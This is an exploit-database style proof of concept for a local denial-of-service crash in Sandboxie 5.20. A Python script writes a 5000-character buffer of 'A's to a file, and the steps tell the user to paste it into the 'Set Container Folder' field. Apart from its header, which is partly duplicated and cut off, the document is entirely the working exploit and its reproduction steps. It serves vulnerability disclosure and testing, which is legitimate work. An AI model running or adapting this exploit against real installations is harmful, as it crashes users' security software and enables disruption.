Sandboxie 5.20 Denial Of Service

#!/usr/bin/python -w
# Exploit Title : Sandboxie version 5.20 local Dos Exploit
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.co #!/usr/bin/python -w
# Exploit Title : Sandboxie version 5.20 local Dos Exploit
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.com
# Website : www.pyramidcyber.com
# Discovery Date : 23/08/2017
# Software Link : https://www.sandboxie.com/SandboxieInstall.exe
# Tested Version : 5.20
# Tested on OS : Windows XP
# Steps to Reproduce: Run the python file to generate pyramid.txt and then open Sandboxie Control->Sandbox->Set Container Folder , Paste the content of pyramid.txt into set container input field.
file="pyramid.txt"
buffer = "A" *5000
textfile = open(file, 'w')
textfile.write(buffer)
textfile.close()